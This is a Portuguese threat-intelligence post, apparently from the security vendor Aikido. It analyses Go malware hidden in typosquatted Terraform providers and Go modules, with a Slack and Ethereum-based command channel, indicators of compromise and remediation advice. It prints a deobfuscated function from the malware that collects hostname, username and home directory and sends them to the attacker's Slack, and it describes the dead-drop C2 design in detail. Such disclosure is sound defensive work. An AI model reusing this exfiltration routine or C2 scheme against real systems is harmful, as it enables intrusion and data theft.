Identificámos malware em Go distribuído através de, pelo menos, dois fornecedores do Terraform e, pelo menos, dois módulos Go. Esta é a primeira vez que observamos malware distribuído através de fornecedores do Terraform. Os seguintes pacotes contêm o malware:
- Provedores do Terraform:
gocommunity-io/dockerdkreuzwenker/docker
- Módulos Go:
gocommunity.io/orderedbtreegogets.dev/btreex
O malware está relacionado com a campanha de malware Graphalgo NPM, relatada pela primeira vez pela ReversingLabs em fevereiro de 2026 e também abordada na semana passada pela Safedep, CheckMarx, e pela JFrog. O malware é uma versão em Go do malware Graphalgo que partilha a infraestrutura de blockchain e do Slack, bem como uma chave pública, com amostras recentes de JavaScript distribuídas através do NPM. O autor da ameaça também criou, pelo menos, dois ecossistemas falsos de Go para ajudar a promover os seus pacotes, o que sugere um interesse contínuo no ecossistema Go.
Provedores maliciosos do Terraform
No início de setembro, um agente malicioso publicou os fornecedores do Terraform gocommunity-io/dockerd e kreuzwenker/docker. Este último é um «typosquat» do popular kreuzwerker/docker O provedor Terraform, que conta com 56 milhões de downloads registados. Ambos os provedores contêm pontos de entrada ocultos no /internal/provider/resource_docker_container_funcs.go ficheiro que só se ativa quando o hash SHA256 do nome do contentor e networkID As variáveis do Terraform concatenadas são b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5. Isto significa que o fornecedor malicioso permanece inativo, exceto em condições específicas de execução, o que sugere que o malware é distribuído no âmbito de um ataque direcionado.
O hash SHA256 é utilizado como chave AES para descodificar um caminho de ficheiro a partir do interior do pacote. O malware descompacta o conteúdo do arquivo, o AES descodifica cada ficheiro contido e executa o código descodificado como um pacote Go utilizando um processo independente vai correr. comando. O ficheiro ZIP de destino em ambos os fornecedores é exemplos/recursos/docker_container/import-resource.sqlite3 com hash SHA256 5f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f.
RAT de segunda fase
O RAT de segunda fase é um agente Go com dois canais de comando e controlo, que utiliza «dead drops» na blockchain e um token de bot do Slack. O malware recolhe inicialmente informações do sistema, incluindo características do hardware, sistema operativo, nome do anfitrião e se node está disponível no sistema infetado. O malware transmite esta informação para um canal do Slack chamado «frontend-devs» no espaço de trabalho do Slack hxxps[:]//portfolio-devs.slack[.]com/ (Portfolio Devs). Note-se que o malware comunica com api.slack.com e o subdomínio do espaço de trabalho não é contactado diretamente pelo malware.
func _ddb43801486d() error {
_ac1ff2594eef := helper.Keys()
_f20c82d34751, _f2b064c41863 := exec.LookPath("node")
if _f2b064c41863 != nil {
_f20c82d34751 = ""
}
_352b068ec729 := fmt.Sprintf(
"*🖥️ System Report*\n"+
"- Platform : `%s`\n"+
"- Arch : `%s`\n"+
"- Hostname : `%s`\n"+
"- Username : `%s`\n"+
"- Home Dir : `%s`\n"+
"- Node : `%s`\n"+
"- Time : `%s`\n",
_ac1ff2594eef.OS,
_ac1ff2594eef.Architecture,
_ac1ff2594eef.Hostname,
_ac1ff2594eef.User.Username,
_ac1ff2594eef.User.HomeDir,
_f20c82d34751,
_ac1ff2594eef.Time.Current,
)
if _0a93526f257a := helper.NewWith(_352b068ec729); _0a93526f257a != nil {
}
return nil
}Após a chamada de verificação, o malware gera um par efémero de chaves pública e privada. O malware gera chaves partilhadas combinando a sua chave efémera com duas chaves públicas dos autores da ameaça. A chave partilhada permite que o malware comunique com clientes infetados através de canais partilhados, sem expor as comunicações C2 nem permitir a fuga de mensagens entre os anfitriões infetados. Para as comunicações C2 no Slack, o malware utiliza a chave pública codificada de forma fixa 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702. O malware grava a chave pública de cada cliente no canal «frontend-devs», após o que toda a comunicação é encriptada utilizando a chave partilhada. As comunicações subsequentes são enviadas para um workspace do Slack diferente, hxxps[:]//portfolio-testers.slack[.]com/ (Portfolio-testers), para um canal chamado anúncios-qa.
No caso do C2 baseado em blockchain, o malware recupera dados de um contrato inteligente da Ethereum na rede de testes Arbitrum Sepolia, utilizando o endereço do contrato codificado de forma fixa 0xAD02b5cDE693529d3bdA0266299501ad0193036C, então:
- Recupera a chave privada de uma carteira Ethereum partilhada.
- Descodifica a chave privada utilizando uma chave derivada do mesmo material utilizado para descodificar a segunda fase.
- Recupera a chave pública do autor da ameaça a partir do contrato.
- Cria uma chave partilhada utilizando a chave pública e a chave privada efémera.
- Grava a sua chave privada efémera no contrato utilizando o
setCPubKeymétodo. - Lê comandos encriptados a partir de
serviceData1eserviceData2.
A carteira partilhada só tem permissões de escrita para o setCPubKey armazenamento de chave-valor, limitando as possibilidades de clientes maliciosos perturbarem o canal C2 com mensagens falsas.

O malware verifica se há instruções da blockchain a cada 3 segundos e instruções do Slack a cada 10 segundos. As mensagens C2 descodificadas contêm um cabeçalho que indica ao malware para executar o corpo da mensagem como código adicional em Go ou JavaScript (através de node) ou para se autodeletar.
O mecanismo C2 constitui mais um indício de que este malware faz parte de uma operação direcionada. A capacidade do autor da ameaça para emitir comandos é limitada, uma vez que todos os clientes consomem todas as mensagens e executam uma operação nula (no-op) quando não conseguem descodificar mensagens destinadas a outros clientes. Trata-se de uma implementação notavelmente sofisticada de um «dead drop» baseado em blockchain que integra comunicação bidirecional com risco mínimo de fuga de informação ou perturbação. Dada a crescente popularidade dos «dead drops» baseados em blockchain no malware, as organizações sem necessidade comercial de interagir com blockchains devem considerar a possibilidade de ativar alertas relativamente às comunicações de rede com serviços de blockchain baseados em HTTP.
Variantes do módulo Go
Identificámos também que o mesmo malware Go estava a ser distribuído através de dois módulos Go. O módulo gocommunity.io/orderedbtree, publicado pela primeira vez a 11 de agosto, continha o malware em texto simples, em vez de o ocultar numa forma encriptada e comprimida. O pacote em questão, gogets.dev/btreex, ocultou o malware num arquivo ZIP que se fazia passar por um ficheiro SQL com o hash SHA256 ab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5. Este último pacote exigia dados de entrada especialmente criados para ser ativado, em consonância com os provedores do Terraform — o malware só se ativava ao processar um objeto com um valor inteiro específico para o preço.
gogets.dev/btreex foi publicado pela primeira vez a 8 de setembro. O autor da ameaça utilizou commits falsificados no repositório gogets-dev/btreex para retroagir as datas dos commits até novembro de 2025. Como o Go Modules considera as datas dos commits como definitivas, o proxy do Go Module e o pkg.go.dev apresentam a data de lançamento falsificada.
Cronograma da campanha
A chave pública 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 utilizado neste malware também tem sido utilizado em cargas úteis do NPM, pelo menos desde abril de 2026, tendo surgido pela primeira vez no pacote malicioso do NPM eventos modernos. Os endereços comuns de contratos inteligentes, os endereços do Telegram e os espaços de trabalho do Slack remetem para Publicação no blogue da ReversingLabs de abril sobre a campanha do Graphalgo.
Na altura da nossa análise, o anúncios-qa O canal do Slack continha 1 240 mensagens encriptadas desde a primeira mensagem disponível, datada de 16 de julho, e o contrato continha 1 402 transações que remontavam a 6 de agosto.

As mensagens de check-in em texto simples no canal do Slack do agente malicioso contêm 18 nomes de anfitrião únicos ao longo de 725 mensagens. Três das vítimas registadas utilizam dispositivos Windows, cinco utilizam Linux e 10 utilizam macOS. Não dispomos de informação suficiente para notificar quaisquer vítimas com base nos dados de check-in em texto simples, mas a escala das operações do agente malicioso parece ser reduzida e direcionada. Com base nas mensagens mais antigas do chat, o autor da ameaça testou esta variante do malware num dispositivo Windows com o nome de anfitrião «Frank» e o nome de utilizador «Frank1», a partir de 16 de julho de 2026.
A reorientação do GitHub e os ecossistemas falsos do Go
As seguintes contas e organizações do GitHub foram utilizadas para apoiar esta atividade. Salientamos que o autor da ameaça limpa periodicamente o seu malware no GitHub, provavelmente para prolongar a vida útil das contas do GitHub.
Ambas as organizações do GitHub controladas pelos autores das ameaças têm sites associados que se apresentam como novos ecossistemas de pacotes Go, gogets[.]dev e gocommunity[.]io. Ambos os domínios foram registados no prazo de um dia após a criação das organizações do GitHub controladas pelo autor da ameaça. Ambos os domínios alegam oferecer um sistema de nomes personalizados para pacotes Go, mas não disponibilizam qualquer mecanismo que permita aos utilizadores externos adicionar pacotes e parecem não estar operacionais. É provável que estes domínios sejam utilizados pelo autor da ameaça em técnicas de engenharia social para aumentar a perceção de legitimidade dos pacotes maliciosos.


A criação de uma infraestrutura de ecossistema dedicada para apoiar a engenharia social contra programadores de Go sugere que o autor da ameaça tenciona continuar a publicar malware que tem como alvo a cadeia de abastecimento do Go. O facto de os fornecedores do Terraform serem visados também é digno de nota — embora as estações de trabalho dos programadores sejam alvos consistentemente de elevado valor para os autores das ameaças, os utilizadores do Terraform estão mais suscetíveis de estar envolvidos na implementação de infraestruturas. Ao visar as estações de trabalho de DevOps, o autor da ameaça pode obter um caminho ainda mais direto para credenciais críticas de produção. Embora tenhamos conhecimento de outras investigações recentes sobre fornecedores maliciosos do Terraform, este incidente é o primeiro caso de distribuição sistemática de malware através do Terraform de que temos conhecimento.
Indicadores de comprometimento
Pacotes (quaisquer versões):
- Provedores do Terraform:
gocommunity-io/dockerdkreuzwenker/docker
- Módulos Go:
gocommunity.io/orderedbtreegogets.dev/btreex
Ficheiros:
import-resource.sqlite35f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f
btreex.sqlab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5
Domínios:
gocommunity[.]iogogets[.]dev
Outros:
- Chave pública do agente malicioso:
302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702- Espaços de trabalho do Slack:
hxxps[:]//portfolio-devs.slack[.]comhxxps[:]//portfolio-testers.slack[.]comhxxps[:]//mediumstar.slack[.]com (indicador histórico não comunicado)
Como o « Aikido » o protege
Os dois módulos Go maliciosos identificados nesta campanha, gocommunity.io/orderedbtree e gogets.dev/btreex, já estão marcados como malware na base de dados « Aikido » da Intel. Se algum destes pacotes aparecer em qualquer ponto da sua árvore de dependências, será alertado imediatamente.
Ainda não dispomos de um sistema de monitorização para o Terraform Registry. Os dois fornecedores maliciosos do Terraform nesta campanha, gocommunity-io/dockerd e kreuzwenker/docker não estará disponível no painel do Aikido . Em breve, iremos alargar a nossa cobertura aos fornecedores do Terraform.
Se algum dos pacotes ou fornecedores acima mencionados tiver sido instalado numa máquina de desenvolvimento ou num executor de CI/CD, considere todo esse ambiente como comprometido e presuma que a própria máquina está afetada muito para além desse único pacote.
- Isolar o computador da rede. Tendo em conta os canais C2 do malware (chamadas à API do Slack e um contrato inteligente do Ethereum), um computador infetado pode continuar a estar acessível ao autor da ameaça, mesmo após a remoção do pacote.
- Atualize todas as credenciais que tenham estado em contacto com essa máquina. Não se limite aos tokens do módulo Go. Atualize os tokens do GitHub/GitLab, os tokens de publicação do npm/PyPI/Go, as credenciais dos fornecedores de serviços na nuvem e as chaves SSH. Se o pacote afetado tiver sido executado através de um fornecedor Terraform, dê prioridade específica às credenciais de nuvem e de infraestrutura, uma vez que o vetor de ataque Terraform desta campanha tem como alvo estações de trabalho de DevOps com acesso direto ao ambiente de produção.
- Verifique se houve atividade não autorizada durante o período de exposição. Analise os commits recentes, as publicações de pacotes, as aplicações do Terraform e as execuções do GitHub Actions realizadas a partir dessa máquina ou utilizando as suas credenciais. Presuma que o atacante possa ter agido utilizando credenciais válidas e funcionais.
- Remova o pacote e reinstale o sistema operativo no computador. Uma vez que o malware executa uma segunda fase descodificada através de um ficheiro separado
vai correr., a simples remoção do pacote não garante que tudo o que este tenha iniciado tenha desaparecido. A recriação da imagem é a única forma de ter a certeza de que o anfitrião está limpo.
Se não tiver a certeza se um pacote no seu ambiente corresponde a estes indicadores, a lista completa de hashes, domínios e a chave pública do autor da ameaça encontra-se na secção «Indicadores de Compromisso» acima.

